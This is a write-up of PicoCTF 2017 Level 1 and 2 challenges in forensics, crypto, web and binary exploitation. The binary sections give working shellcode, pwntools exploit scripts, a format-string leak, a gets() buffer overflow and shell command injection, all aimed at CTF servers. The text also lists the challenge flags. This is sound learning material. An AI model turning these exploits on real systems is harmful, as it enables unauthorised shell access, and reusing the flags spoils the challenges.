PicoCTF 2017

1 Level 1

1.1 Forensics

1.1.1 Digital Camouflage

Link : Digital Camouflage

We need to gain access to some routers. Let's try and see if we can find the password in the captured network data : data.pcap

Hint :

It looks like someone logged in with their password earlier. Where would log in data be located in a n etwork capture? If you think you found the flag, but it doesn't work, consider that the data may be encrypted.

Solution :

This Problem gives us a network capture and we need to analyse the files to get the password of a login. Using Wireshark we can export all the files from the pcap file . Files > Export Objects > HTTP Gives a list of HTML which is present in the captured file . And one of the file contains the password which is is encrypted in base64.

main.html

userid=spiveyp&pswrd=S04xWjZQWFZ5OQ%3D%3D

%3d represent = in url

echo S04xWjZQWFZ5OQ== | base64 -d

Gives the flag !

KN1Z6PXVy9

1.1.2 Special Agent User

Link : Special Agent User

We can get into the Administrator's computer with a browser exploit. But first, we need to figure out what browser they're using. Perhaps this information is located in a network packet capture we took: data.pcap Enter the browser and version as "BrowserName BrowserVersion". NOTE: We're just looking for up to 3 levels of subversions for the browser version (ie. Version 1.2.3 for Version 1.2.3.4) and ignore any 0th subversions (ie. 1.2 for 1.2.0)

Hint :

Where can we find information on the browser in networking data? Maybe try reading up on user-agent strings

Solution : User agent tell the server the details of which broser and os is the user use Running xxd

xxd data.pcap | grep -A 10 User

There was many wget entries and one was

--
00003c90: 2f20 4854 5450 2f31 2e31 0d0a 5573 6572  / HTTP/1.1..User
00003ca0: 2d41 6765 6e74 3a20 4d6f 7a69 6c6c 612f  -Agent: Mozilla/
00003cb0: 352e 3020 2857 696e 646f 7773 204e 5420  5.0 (Windows NT 
00003cc0: 352e 3129 2041 7070 6c65 5765 624b 6974  5.1) AppleWebKit
00003cd0: 2f35 3337 2e33 3620 284b 4854 4d4c 2c20  /537.36 (KHTML, 
00003ce0: 6c69 6b65 2047 6563 6b6f 2920 4368 726f  like Gecko) Chro
00003cf0: 6d65 2f33 352e 302e 3231 3137 2e31 3537  me/35.0.2117.157
00003d00: 2053 6166 6172 692f 3533 372e 3336 0d0a   Safari/537.36..
00003d10: 4163 6365 7074 3a20 2a2f 2a0d 0a48 6f73  Accept: */*..Hos
00003d20: 743a 2031 302e 302e 302e 310d 0a43 6f6e  t: 10.0.0.1..Con
00003d30: 6e65 6374 696f 6e3a 204b 6565 702d 416c  nection: Keep-Al
--

Which tells that the browser is Chrome version 35.0.2117

1.2 Binary Explitation

1.2.1 Bash Loop

Link:bash loop

We found a program that is hiding a flag but requires you to guess the number it is thinking of. Chances are Linux has an easy way to try all the numbers… Go to /problems/69a376443853a8d385877f60375188bf and try it out!

Solution :

The location contain two files .

-rwxr-sr-x 1 hacksports bash-loop_7 8216 Mar 31 08:01 bashloop
-r--r----- 1 hacksports bash-loop_7   33 Mar 31 08:01 flag

bashloop has SUID bit set , Running bashloop ,gives

What number am I thinking of? It is between 0 and 4096

So it takes a number between 0 and 4096 as input . ./bashloop 0

Nope. Pick another number between 0 and 4096

Scripting with bash

for i in {0..4096};do  ./bashloop $i ;done | grep -v Nope           

Gives the flag!

Yay! That's the number! Here be the flag: 249808e7eba907b7e323f4f2fff2406d

1.2.2 Just No

Link : just no

A program at /problems/276fc27f3ef921f0e2f0f75ba95c9e60 has access to a flag but refuses to share it. Can you convince it otherwise?

Hint :

Check out the difference between relative and absolute paths and see if you can figure out how to use them to solve this challenge. Could you possibly spoof another auth file it looks at instead…?

Soution: Listing the directory

-rw-r--r-- 1 hacksports just-no_7    2 Mar 31 08:00 auth
-r--r----- 1 hacksports just-no_7   33 Mar 31 08:00 flag
-rwxr-sr-x 1 hacksports just-no_7 7800 Mar 31 08:00 justno
-rw-r--r-- 1 hacksports just-no_7  838 Mar 31 08:00 justno.c

the file auth contains no and justno is suid executable which can open flag

justno.c

##include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <sys/types.h>

int main(int argc, char **argv){ 
  FILE* authf = fopen("../../problems/276fc27f3ef921f0e2f0f75ba95c9e60/auth","r"); //access auth file in ../../../problems/276fc27f3ef921f0e2f0f75ba95c9e60
  if(authf == NULL){
    printf("could not find auth file in ../../problems/276fc27f3ef921f0e2f0f75ba95c9e60/\n");
    return 0;
  }
  char auth[8];
  fgets(auth,8,authf);
  fclose(authf);
  if  (strcmp(auth,"no")!=0){
    FILE* flagf;
    flagf = fopen("/problems/276fc27f3ef921f0e2f0f75ba95c9e60/flag","r");
    char flag[64];
    fgets(flag,64,flagf);
    printf("Oh. Well the auth file doesn't say no anymore so... Here's the flag: %s",flag);
    fclose(flagf);
  }else{
    printf("auth file says no. So no. Just... no.\n");
  }
  return 0;

As the hint suggest the prblem is based on the relative path , vunarable code

FILE* authf = fopen("../../problems/276fc27f3ef921f0e2f0f75ba95c9e60/auth","r"); //access auth file in ../../../problems/276fc27f3ef921f0e2f0f75ba95c9e60

It opens the auth file relative to the position of execution, So we create the same directory structure in tmp and create a file auth with yes in it and run the program from that place , Since relative path is taken for auth file, the file which we have created will be taken and we will get the Flag !!

Oh. Well the auth file doesn't say no anymore so... Here's the flag: 8661ca23ef68adc41d407817b8656dd0

1.3 Reverse Engineering

1.3.1 Hex2Raw

Link : hex2raw

This program requires some unprintable characters as input… But how do you print unprintable characters? CLI yourself to /problems/c69bcda4ca5a28fd9d18790fc763db73 and turn that Hex2Raw!

Running hex2raw program gives

Give me this in raw form (0x41 -> 'A'):
416f1c7918f83a4f1922d86df5e78348

You gave me:

and promt for input , we just need to print this hex as charecters

python -c 'print "\x41\x6f\x1c\x79\x18\xf8\x3a\x4f\x19\x22\xd8\x6d\xf5\xe7\x83\x48"' | ./hex2raw

Gives the Flag!

416f1c7918f83a4f1922d86df5e78348

You gave me:
416f1c7918f83a4f1922d86df5e78348
Yay! That's what I wanted! Here be the flag:

1.3.2 Raw2Hex

Link : raw2hex

This program just prints a flag in raw form. All we need to do is convert the output to hex and we have it! CLI yourself to /problems/7ed72aec10a93d978ec3542055975d36 and turn that Raw2Hex!

Solution :

Running raw2hex give the flag we need to take the hex of it

./raw2hex  |  xxd
0000000: 5468 6520 666c 6167 2069 733a 233a 338f  The flag is:#:3.
0000010: 3052 fec7 5f00 9f24 85ac 5352            0R.._..$..SR

And the flag is the 233a338f3052fec75f009f2485ac5352 hex

1.4 Web Exploitation

1.4.1 What Is Web

Link : what is web

Someone told me that some guy came up with the "World Wide Web", using "HTML" and "stuff". Can you help me figure out what that is? webpage

Solution:

The flag is placed in the html , css and javascript files of the webpage html

 The first part of the flag (there are 3 parts) is 72b28b258d2 

css

The second part of the flag is b2ea021486f 

js

The final part of the flag is ddd5020451d

flag : 72b28b258d2b2ea021486fddd5020451d

1.4.2 Lazy Dev

Link : Lazy-Dev

I really need to login to this website, but the developer hasn't implemented login yet. Can you help?

Hint :

Where does the password check actually occur? Can you interact with the javascript directly?

Solution :

the webpage

screenshot_2017-09-04_12-38-07.png

source

<!DOCTYPE html>
<html lang="en">
<body>
    <h1>Enter the password</h1>
    <input id="password">
    <button type="button" onclick="process_password()">Submit</button>
    <p id="res"></p>

</body>
<script type="text/javascript" src="/static/client.js"></script>
</html>

JavaScript

//Validate the password. TBD!
function validate(pword){
  //TODO: Implement me
  return false;
}

//Make an ajax request to the server
function make_ajax_req(input){
  var text_response;
  var http_req = new XMLHttpRequest();
  var params = "pword_valid=" + input.toString();
  http_req.open("POST", "login", true);
  http_req.setRequestHeader("Content-type", "application/x-www-form-urlencoded");
  http_req.onreadystatechange = function() {//Call a function when the state changes.
        if(http_req.readyState == 4 && http_req.status == 200) {
      document.getElementById("res").innerHTML = http_req.responseText;
    }
  }
  http_req.send(params);
}

//Called when the user submits the password
function process_password(){
  var pword = document.getElementById("password").value;
  var res = validate(pword);
  var server_res = make_ajax_req(res);
}

The funtion which validate the password is not implemented and it allways return zero . Using the console in Firefox we can sent js requests . sending make_ajax_req() with true gives the flag

screenshot_2017-09-04_16-10-28.png

2 Level 2

2.1 Forensics

2.1.1 Meta Find Me

Link : Meta-Find-Me

Find the location of the flag in the image: image.jpg Note: Latitude and longitude values are in degrees with no degree symbols, /direction letters, minutes, seconds, or periods. They should only be digits. The flag is not just a set of coordinates - if you think that, keep looking!

Hint :

How can images store location data? Perhaps search for GPS info on photos.

Solution :

Running exiftool on the image gives

Comment                         : "Your flag is flag_2_meta_4_me_<lat>_<lon>_1c1f. Now find the GPS coordinates of this image! (Degrees only please)"

GPS Position                    : 7 deg 0' 0.00", 96 deg 0' 0.00"

The Comment and GPS Section gives the required flag

flag2meta4me7961c1f

2.1.2 Little School Bus

Link : Little-School-Bus

Can you help me find the data in this littleschoolbus.bmp

Hint :

Look at least significant bit encoding!!

Solution :

As the Hint Suggest the Probelem is related to LSB Encoding , The left most digit in binary is called the LSB digit

An image is constituent of pixel and each pixel contains 3 colors (RGB) with 8 bytes each so a color can have values from 0 - 256 , LSB encoding is done by changing the LSB bit of the color , this slight variation is not notisable . So by changing the LSB bit we can hide data inside a file .

xxd -b ./littleschoolbus.bmp | head -n 20

Gives ,

00000000: 01000010 01001101 11100010 01001011 00000010 00000000  BM.K..
00000006: 00000000 00000000 00000000 00000000 00110110 00000000  ....6.
0000000c: 00000000 00000000 00101000 00000000 00000000 00000000  ..(...
00000012: 11111100 00000000 00000000 00000000 11000111 00000000  ......
00000018: 00000000 00000000 00000001 00000000 00011000 00000000  ......
0000001e: 00000000 00000000 00000000 00000000 10101100 01001011  .....K
00000024: 00000010 00000000 00000000 00000000 00000000 00000000  ......
0000002a: 00000000 00000000 00000000 00000000 00000000 00000000  ......
00000030: 00000000 00000000 00000000 00000000 00000000 00000000  ......
00000036: 11111110 11111111 11111111 11111110 11111110 11111111  ......
0000003c: 11111111 11111110 11111110 11111111 11111111 11111110  ......
00000042: 11111111 11111111 11111110 11111110 11111110 11111111  ......
00000048: 11111111 11111110 11111110 11111110 11111110 11111111  ......
0000004e: 11111110 11111111 11111111 11111110 11111110 11111111  ......
00000054: 11111111 11111111 11111110 11111111 11111111 11111111  ......
0000005a: 11111111 11111110 11111111 11111111 11111110 11111111  ......
00000060: 11111111 11111111 11111110 11111110 11111111 11111110  ......
00000066: 11111110 11111111 11111111 11111110 11111110 11111111  ......
0000006c: 11111110 11111111 11111110 11111111 11111111 11111110  ......
00000072: 11111111 11111111 11111110 11111111 11111110 11111111  ......

Taking the LSB bit after the many zero

00000036: 11111110 11111111 11111111 11111110 11111110 11111111  ......
0000003c: 11111111 11111110 11111110 11111111 11111111 11111110  ......
00000042: 11111111 11111111 11111110 11111110 11111110 11111111  ......
00000048: 11111111 11111110 11111110 11111110 11111110 11111111  ......

8 bit gives

01100110 01101100

Which in ascii is fl ?

Now we script .

binary_data = open("littleschoolbus.bmp","rb") # Open the file binary mode
binary_data.seek(54)  #seek to 54 bytes these bytes does not contain any data
data = binary_data.read() # read the binary data
l = [] 
for i in data:
    l.append(bin(i)[-1])  #make a list of LSB bit
for i in range(0,500,8):
    print(chr(int(''.join(l[i:i+8]),2)),end='') # print the charecter

Which gives the flag !!

flag{rememberkidsprotectyourheadersafb3}

Footnote :

  1. LSB
  2. Python Binay

2.1.3 Missing Identity

Link : Missing-Identity

Turns out, some of the files back from Master Challenge 1 were corrupted. Restore this one file and find the flag Update 16:26 EST 1 Apr If you feel that you are close, make a private piazza post with what you have, and an admin will help out. The flag starts with the character z.

Hint :

What file is this? What do you expect to find in the file structure? All characters in the file are lower case or numberical. There will not be any zeros.

Solution :

Running file command gives it is data ,

xxd file 
00000000: 5858 5858 5858 0000 0800 2344 7f4a 6a58  XXXXXX....#D.JjX
00000010: bd98 b48c 0000 a58c 0000 0800 0000 666c  ..............fl
00000020: 6167 2e70 6e67 004e 40b1 bf89 504e 470d  ag.png.N@...PNG.
00000030: 0a1a 0a00 0000 0d49 4844 5200 0002 7300  .......IHDR...s.
00000040: 0000 3c08 0200 0000 8243 abc9 0000 8c6c  ..<......C.....l
00000050: 4944 4154 789c dcfd 5793 ad5b 771e 868d  IDATx...W..[w...
00000060: 31d3 1b56 eab8 e3d9 277e 1120 1820 4022  1..V....'~. . @"
00000070: 4c52 8698 4452 b264 89a6 252b dcb8 5c2e  LR..DR.d..%+..\.
00000080: 5fb9 6cdf e80f f846 572e 5fd8 55ae 7239  _.l....FW._.U.r9
00000090: 48b6 cb14 254b b224 a254 2241 db22 0951  H...%K.$.T"A.".Q

....

00068ec0: 00a4 8100 0000 0066 6c61 672e 706e 6750  .......flag.pngP
00068ed0: 4b01 0214 0314 0000 0008 0023 447f 4a50  K..........#D.JP
00068ee0: 9769 035a ed00 0058 ed00 000f 0000 0000  .i.Z...X........
00068ef0: 0000 0000 0000 00a4 81da 8c00 006e 6f74  .............not
00068f00: 7468 6566 6c61 6731 2e70 6e67 504b 0102  theflag1.pngPK..
00068f10: 1403 1400 0000 0800 2344 7f4a 4773 f028  ........#D.JGs.(
00068f20: cfd4 0000 bbd4 0000 0f00 0000 0000 0000  ................
00068f30: 0000 0000 a481 617a 0100 6e6f 7474 6865  ......az..notthe
00068f40: 666c 6167 322e 706e 6750 4b01 0214 0314  flag2.pngPK.....
00068f50: 0000 0008 0023 447f 4a51 a5e2 980d ea00  .....#D.JQ......
00068f60: 00fd e900 000f 0000 0000 0000 0000 0000  ................
00068f70: 00a4 815d 4f02 006e 6f74 7468 6566 6c61  ...]O..notthefla
00068f80: 6733 2e70 6e67 504b 0102 1403 1400 0000  g3.pngPK........
00068f90: 0800 2344 7f4a e1ca f91d 72ba 0000 63ba  ..#D.J....r...c.
00068fa0: 0000 0f00 0000 0000 0000 0000 0000 a481  ................
00068fb0: 9739 0300 6e6f 7474 6865 666c 6167 342e  .9..nottheflag4.
00068fc0: 706e 6750 4b01 0214 0314 0000 0008 0023  pngPK..........#
00068fd0: 447f 4a6c fcad 133b e600 0027 e600 000f  D.Jl...;...'....
00068fe0: 0000 0000 0000 0000 0000 00a4 8136 f403  .............6..
00068ff0: 006e 6f74 7468 6566 6c61 6735 2e70 6e67  .nottheflag5.png
00069000: 504b 0102 1403 1400 0000 0800 2344 7f4a  PK..........#D.J
00069010: 7663 94c0 f5c1 0000 19c2 0000 0f00 0000  vc..............
00069020: 0000 0000 0000 0000 a481 9eda 0400 6e6f  ..............no
00069030: 7474 6865 666c 6167 362e 706e 6750 4b01  ttheflag6.pngPK.
00069040: 0214 0314 0000 0008 0023 447f 4aa7 207a  .........#D.J. z
00069050: 1eac f100 0098 f100 000f 0000 0000 0000  ................
00069060: 0000 0000 00a4 81c0 9c05 006e 6f74 7468  ...........notth
00069070: 6566 6c61 6737 2e70 6e67 504b 0506 0000  eflag7.pngPK....
00069080: 0000 0800 0800 e101 0000 998e 0600 0000  ................

The intersting part is in the begenning XXXXXX suggest that it is related to magic bit . these bytes specifies what format the file is . Every file format has a uniq bit which specifes that file format , program use there to identify file format . the end of xxd output shows many file name which gives a hint that is a compressed file . ZIP has a four byte magic bit

Zip Archive "PK.." 0x50 0x4B 0x03 0x04

Changing the hex with hex editor

00000000: 504b 0304 0000 0000 0800 2344 7f4a 6a58  PK........#D.JjX
00000010: bd98 b48c 0000 a58c 0000 0800 0000 666c  ..............fl
00000020: 6167 2e70 6e67 004e 40b1 bf89 504e 470d  ag.png.N@...PNG.
00000030: 0a1a 0a00 0000 0d49 4844 5200 0002 7300  .......IHDR...s.
00000040: 0000 3c08 0200 0000 8243 abc9 0000 8c6c  ..<......C.....l
00000050: 4944 4154 789c dcfd 5793 ad5b 771e 868d  IDATx...W..[w...
00000060: 31d3 1b56 eab8 e3d9 277e 1120 1820 4022  1..V....'~. . @"
00000070: 4c52 8698 4452 b264 89a6 252b dcb8 5c2e  LR..DR.d..%+..\.
00000080: 5fb9 6cdf e80f f846 572e 5fd8 55ae 7239  _.l....FW._.U.r9
00000090: 48b6 cb14 254b b224 a254 2241 db22 0951  H...%K.$.T"A.".Q

unzip the file the flag.png gives the flag

flag.png

Footnote : https://blog.netspi.com/magic-bytes-identifying-common-file-formats-at-a-glance/

2.2 Cryptography

2.2.1 SoRandom

Link : SoRandom

We found sorandom.py running at shell2017.picoctf.com:27691. It seems to be outputting the flag but randomizing all the characters first. Is there anyway to get back the original flag?

Hint:

How random can computers be?

Solution :

This Given Python script

#!/usr/bin/python -u
import random,string

flag = "FLAG:"+open("flag", "r").read()[:-1]
encflag = ""
random.seed("random")
for c in flag:
  if c.islower():
    #rotate number around alphabet a random amount
    encflag += chr((ord(c)-ord('a')+random.randrange(0,26))%26 + ord('a'))
  elif c.isupper():
    encflag += chr((ord(c)-ord('A')+random.randrange(0,26))%26 + ord('A'))
  elif c.isdigit():
    encflag += chr((ord(c)-ord('0')+random.randrange(0,10))%10 + ord('0'))
  else:
    encflag += c
print "Unguessably Randomized Flag: "+encflag

Connecting to the server gives

Unguessably Randomized Flag: BNZQ:20380043pc5p8u861tcy650q8xn8mf5d

Analysing the python script tells us that it uses the random python module to generate random digit to rotate the input, the seed for the radom generator is "random" . But this random generator is not completly random decause with the knowlage of the seed we can predict the radom number generated in i th iteration of the funtion .

Creating a scipt to break this encryption

#!/usr/bin/python -u
import random
import string

flag = ""
encflag = "BNZQ20380043pc5p8u861tcy650q8xn8mf5d"


while len(flag) != len(encflag):
    random.seed("random")
    for i in range(len(flag)):
        random.randrange(0, 6)
    if encflag[len(flag)].isdigit():
        random_digit = random.randrange(0, 10)
    else:
        random_digit = random.randrange(0, 26)

    for c in list(string.ascii_letters) + list("0987654321"):
        if c.islower():
            # rotate number around alphabet a random amount
            cypher = chr((ord(c) - ord('a') + random_digit) % 26 + ord('a'))
        elif c.isupper():
            cypher = chr((ord(c) - ord('A') + random_digit) % 26 + ord('A'))
        elif c.isdigit():
            cypher = chr((ord(c) - ord('0') + random_digit) % 10 + ord('0'))
        else:
            cypher = c
        if cypher == encflag[len(flag)]:
            flag = flag + c
            break

    print(flag)

Which gives the flag !

FLAG:96109120ba8d1c844afe294c3cd1eb4c

2.2.2 LeakedHashes

Link : LeakedHashes

Someone got hacked! Check out some service's password hashes that were leaked at hashdump.txt Do you think they chose strong passwords? We should check… The service is running at shell2017.picoctf.com:3815!

Hint :

See if you can crack any of the login credentials and then connect to the service as one of the users. What's the chance these hashes have actually already been broken by someone else? Are there websites that host those cracked hashes? Connect from the shell with nc.

Solution :

We can crack this md5 hashes with online services https://crackstation.net/ , This site allows of cracking of 20 entries

christene:89689941d40794e311ef8bc7061b9944 : 7h1ck

After cracking the hash just login with the username and password to get the flag

flag is 4f36a002cc953e6567a878758abc8cf9

2.3 Binary Exploitation

2.3.1 Shellz

Link : Shellz

You no longer have an easy thing to call, but you have more space. Program: shellz! Source . Connect on shell2017.picoctf.com:49324.

Hint :

There is a bunch of preexisting shellcode already out there!

Solution :

The program reads 40 bytes and executes these binary , So we need to inject shell code of length less than 40 bytes

This is a shell code from explit-db

"\x31\xd2\x52\xb8\xb7\xd8\x3e\x56\x05\x78\x56\x34\x12\x50\xb8\xde\xc0\xad" "\xde\x2d\xaf\x5e\x44\x70\x50\x6a\x0b\x58\x89\xd1\x89\xe3\x6a\x01\x5e\xcd" "\x80\x96\xcd\x80"

Exploit Code

from pwn import *

host = "shell2017.picoctf.com"
port = "49324"

#shellcode which spawn shell
shellcode = "\x31\xd2\x52\xb8\xb7\xd8\x3e\x56\x05\x78\x56\x34\x12\x50\xb8\xde\xc0\xad\xde\x2d\xaf\x5e\x44\x70\x50\x6a\x0b\x58\x89\xd1\x89\xe3\x6a\x01\x5e\xcd\x80\x96\xcd\x80"

io = remote(host, port)  # Connect to the server
io.recvuntil("Give me 40 bytes:\n")  
io.sendline(shellcode)  # Sends the shellcode
io.sendline('cat flag.txt')
print "Flag : ",
print(io.readline())
io.close()

Which Gives the Flag !

51e2978e4e59013145c2613f01185802

2.3.2 Shells

Link : shells

How much can a couple bytes do? Use shells! Source . Connect on shell2017.picoctf.com:40976

Hint :

Read about basic shellcode You don't need a full shell (yet…), just enough to get the flag

Solution :

We have to write basic shell code to call win funtion

Exploit code

from pwn import *

host = "shell2017.picoctf.com"
port = "40976"

context(arch="i386", os='linux')

payload = '''
/* call vuln funtion */
mov eax, 0x08048540
call eax 
'''


io = remote(host, port)
io.recvuntil("Give me 10 bytes:")
io.sendline(asm(payload))
print(io.readall())
io.close()

which gives the flag!

cd875b6ffb5cdd3319532d52ceca71aa

2.3.3 Guess The Number

Link : Guess-the-Number

Just a simple number-guessing game. How hard could it be? Binary Source. Connect on shell2017.picoctf.com:20545.

Hint :

What is the program doing with your input number? strtol checks for overflow, but it does allow negative numbers…

Solution :

Lets look at the souce code

/* How well do you know your numbers? */

#include <stdio.h>
#include <stdlib.h>
#include <stdint.h>

void win(void) {
    printf("Congratulations! Have a shell:\n");
    system("/bin/sh -i");
}

int main(int argc, char **argv) {
    uintptr_t val;
    char buf[32] = "";

    /* Turn off buffering so we can see output right away */
    setbuf(stdout, NULL);

    printf("Welcome to the number guessing game!\n");
    printf("I'm thinking of a number. Can you guess it?\n");
    printf("Guess right and you get a shell!\n");

    printf("Enter your number: ");
    scanf("%32s", buf);
    val = strtol(buf, NULL, 10);

    printf("You entered %d. Let's see if it was right...\n", val);

    val >>= 4;
    ((void (*)(void))val)();
}

From the souce we can see that the address in val is called at last , so we need to get the adress of the funtion win into val . Interger from the input is stored into the variable with the funtion strtol() : convert a string to a long integer , Then 4 byte is is shifted to right

objdump -d guess_num

gives the address of win as 0x0804852b which is 134513963 , when giving this to output the address called is 0x804852, This is because of the shift operator

>>> 0x0804852b
134513963
>>> bin(134513963)
'0b1000000001001000010100101011'
>>> hex(0b100000000100100001010010)
'0x804852'

So we need to input larger number , lets give 0x0804852bb which is 2152223419 , but the value stored in the memory was 0x7ffffff , this happend because of the overflow 0x0804852bb > 2 ** 31 - 1 .

I spend some time here without seeing the hint saying about negative numbers . How negative numbers are stored in computer , One of the fundemental idea complement notaion . So now we need to find a negarive number . Two's complement of 0x0804852bb is -2142743877 .

Which gives the Flag !

Welcome to the number guessing game!
I'm thinking of a number. Can you guess it?
Guess right and you get a shell!
Enter your number: -2142743877
You entered -2142743877. Let's see if it was right...
Congratulations! Have a shell:
/bin/sh: 0: can't access tty; job control turned off
$ cat flag.txt
181db5615729e295ea7a5d5773c3829b

Footnote :

  1. http://www.exploringbinary.com/twos-complement-converter/

2.3.4 Ive Got A Secret

Link : Ive-Got-A-Secret

Hopefully you can find the right format for my secret! Source. Connect on shell2017.picoctf.com:42684.

Hint :

This is a beginning format string attack.

Solution :

The souce contains a format string vulnarability @

printf("Give me something to say!\n");
fflush(stdout);
fgets(buffer, BUF_LEN, stdin);
printf(buffer);  /*<-- Here*/

Executing gives

Give me something to say!
HI
HI
Now tell my secret in hex! Secret: d
As my friend says,"You get nothing! You lose! Good day, Sir!"

Lets look at the source

#include <stdio.h>
#include <fcntl.h>
#include <unistd.h>
#include <stdlib.h>

#define BUF_LEN 64
char buffer[BUF_LEN];

int main(int argc, char** argv) {
    int fd = open("/dev/urandom", O_RDONLY);
    if(fd == -1){
        puts("Open error on /dev/urandom. Contact an admin\n");
        return -1;
    }
    int secret;
    if(read(fd, &secret, sizeof(int)) != sizeof(int)){
        puts("Read error. Contact admin!\n");
        return -1;
    }
    close(fd);
    printf("Give me something to say!\n");
    fflush(stdout);
    fgets(buffer, BUF_LEN, stdin);
    printf(buffer);

    int not_secret;
    printf("Now tell my secret in hex! Secret: ");
    fflush(stdout);
    scanf("%x", &not_secret);
    if(secret == not_secret){
        puts("Wow, you got it!");
        system("cat ./flag.txt");   
    }else{
        puts("As my friend says,\"You get nothing! You lose! Good day, Sir!\"");
    }

    return 0;
}

The program load a nunber from /dev/random and store it in variable secret , We have to use the format string to access variable and read its content

This is the place were the check occures

   0x080486ed <+258>:	add    esp,0x10
   0x080486f0 <+261>:	mov    edx,DWORD PTR [ebp-0x10]
   0x080486f3 <+264>:	mov    eax,DWORD PTR [ebp-0x14]
   0x080486f6 <+267>:	cmp    edx,eax

Breaking here and analysing the execution

gdb-peda$ break *0x080486f6
Breakpoint 1 at 0x80486f6
gdb-peda$ r
Starting program: /home/nemesis/Downloads/secret 
Give me something to say!
%x:%x:%x:%x:%x:%x 
40:f7faa5a0:8048792:1:ffffd0d4:756e6da
Now tell my secret in hex! Secret: 0x000111

[----------------------------------registers-----------------------------------]
EAX: 0x111 
EBX: 0x0 
ECX: 0x1 
EDX: 0x756e6da 
ESI: 0x1 
EDI: 0xf7faa000 --> 0x1b2db0 
EBP: 0xffffd028 --> 0x0 
ESP: 0xffffd010 --> 0x1 
EIP: 0x80486f6 (<main+267>:	cmp    edx,eax)
EFLAGS: 0x282 (carry parity adjust zero SIGN trap INTERRUPT direction overflow)
[-------------------------------------code-------------------------------------]
   0x80486ed <main+258>:	add    esp,0x10
   0x80486f0 <main+261>:	mov    edx,DWORD PTR [ebp-0x10]
   0x80486f3 <main+264>:	mov    eax,DWORD PTR [ebp-0x14]
=> 0x80486f6 <main+267>:	cmp    edx,eax
   0x80486f8 <main+269>:	jne    0x804871c <main+305>
   0x80486fa <main+271>:	sub    esp,0xc
   0x80486fd <main+274>:	push   0x804886b
   0x8048702 <main+279>:	call   0x8048480 <puts@plt>
[------------------------------------stack-------------------------------------]
0000| 0xffffd010 --> 0x1 
0004| 0xffffd014 --> 0x111 
0008| 0xffffd018 --> 0x756e6da 
0012| 0xffffd01c --> 0x3 
0016| 0xffffd020 --> 0xf7faa3dc --> 0xf7fab1e0 --> 0x0 
0020| 0xffffd024 --> 0xffffd040 --> 0x1 
0024| 0xffffd028 --> 0x0 
0028| 0xffffd02c --> 0xf7e0f276 (<__libc_start_main+246>:	add    esp,0x10)
[------------------------------------------------------------------------------]
Legend: code, data, rodata, value

Breakpoint 1, 0x080486f6 in main ()
gdb-peda$ 

EDX Register has the random hex which is shown by the 6 th %x , now we exploit !

Give me something to say!
%x:%x:%x:%x:%x:%x
40:f7fc7c20:8048792:1:ffffdd34:2e9a2fb1
Now tell my secret in hex! Secret: 0x2e9a2fb1
65aaf5d76d7fa708642cf1ab573ebf58
Wow, you got it!

2.3.5 Flagsay 1

Link : Flagsay-1

I heard you like flags, so now you can make your own! Exhilarating! Use flagsay-1! Source. Connect on shell2017.picoctf.com:30556.

Hint :

System will run exactly what the program gives it

Solution :

running the binary file

AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
               _                                        
              //~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~     
             //AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA/     
            //AAAAAA                             /      
           //                                   /       
          //                                   /        
         //                                   /         
        //                                   /          
       //___________________________________/           
      //                                                
     //                                                 
    //                                                  
   //                                                   
  //                                                    
 //                                                     


While giving random input i realized that giving " gives an error


"
               _                                        
              //~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~     
             // /
sh: 4: //: Permission denied
sh: 5: //: Permission denied
sh: 6: //: Permission denied
sh: 7: //: Permission denied
sh: 8: //: Permission denied
sh: 9: //___________________________________/: not found
sh: 10: //: Permission denied
sh: 11: //: Permission denied
sh: 12: //: Permission denied
sh: 13: //: Permission denied
sh: 14: //: Permission denied
sh: 15: //: Permission denied
sh: 17: Syntax error: Unterminated quoted string

From the error we can identify that all the lines after is beeing executed and we can give any input , giving "cat flag.txt , tells us the flag

2.3.6 VR Gear Console

Link : VR-Gear-Console

Here's the VR gear admin console. See if you can figure out a way to log in. The problem is found here: /problems/e9cab2bb993540454b19d3d56769d9e6

Hint:

What happens if you read in more characters than the length of the username buffer? You should look at an ascii table to see what character you need to choose. Numbers are stored in little-endian format, which means that the lowest byte of the number is first. "cat file - | vrgearconsole " will keep the pipe open for commands.

Solution :

Source code

#include <stdlib.h>
#include <stdio.h>

int login() {
    int accessLevel = 0xff;
    char username[16];
    char password[32];
    printf("Username (max 15 characters): ");
    gets(username);
    printf("Password (max 31 characters): ");
    gets(password);

    if (!strcmp(username, "admin") && !strcmp(password, "{{ create_long_password() }}")) {
        accessLevel = 2;
    } else if (!strcmp(username, "root") && !strcmp(password, "{{ create_long_password() }}")) {
        accessLevel = 0;
    } else if (!strcmp(username, "artist") && !strcmp(password, "my-password-is-secret")) {
        accessLevel = 0x80;
    }

    return accessLevel;
}

int main(int argc, char **argv) {
    setbuf(stdout, NULL);
    printf(
        "+----------------------------------------+\n"
        "|                                        |\n"
        "|                                        |\n"
        "|                                        |\n"
        "|                                        |\n"
        "|  Welcome to the VR gear admin console  |\n"
        "|                                        |\n"
        "|                                        |\n"
        "|                                        |\n"
        "|                                        |\n"
        "+----------------------------------------+\n"
        "|                                        |\n"
        "|      Your account is not recognized    |\n"
        "|                                        |\n"
        "+----------------------------------------+\n"
        "\n\n\n\n"
        "Please login to continue...\n\n\n"
    );
    int access = login();

    printf("Your access level is: 0x%08x\n", access);

    if (access >= 0xff || access <= 0) {
        printf("Login unsuccessful.\n");
        exit(10);
    } else if (access < 0x30) {
        printf("Admin access granted!\n");
        printf("The flag is in \"flag.txt\".\n");
        system("/bin/sh");
    } else {
        printf("Login successful.\n");
        printf("You do not have permission to access this resource.\n");
        exit(1);
    }
}

This is a Simple buffer overflow , gets funtion is used to read the string and the acess variable is above the stack and we can overwrite it. Overflow occures due to the fact that gets() funtion does not specify a boundary of the input and reads all the input the user have given, and if input is larger that the variable size it keeps on writing data after the variable on the stack , so if there are other variable above we can overwrite it's value.

Exploit Code

(python -c "print 'A'*16 + '\x20\npassword\n' "; cat - ) | ./vrgearconsole 

+----------------------------------------+
|                                        |
|                                        |
|                                        |
|                                        |
|  Welcome to the VR gear admin console  |
|                                        |
|                                        |
|                                        |
|                                        |
+----------------------------------------+
|                                        |
|      Your account is not recognized    |
|                                        |
+----------------------------------------+




Please login to continue...


Username (max 15 characters): Password (max 31 characters): Your access level is: 0x00000020
Admin access granted!
The flag is in "flag.txt".
cat flag.txt
